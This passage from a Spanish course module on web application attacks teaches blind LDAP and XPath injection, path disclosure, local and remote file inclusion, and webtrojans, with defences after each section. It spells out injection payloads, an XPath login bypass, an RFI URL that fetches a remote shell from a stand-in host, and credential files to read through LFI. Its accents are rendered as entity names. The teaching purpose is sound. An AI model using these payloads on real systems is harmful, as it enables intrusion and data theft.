(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
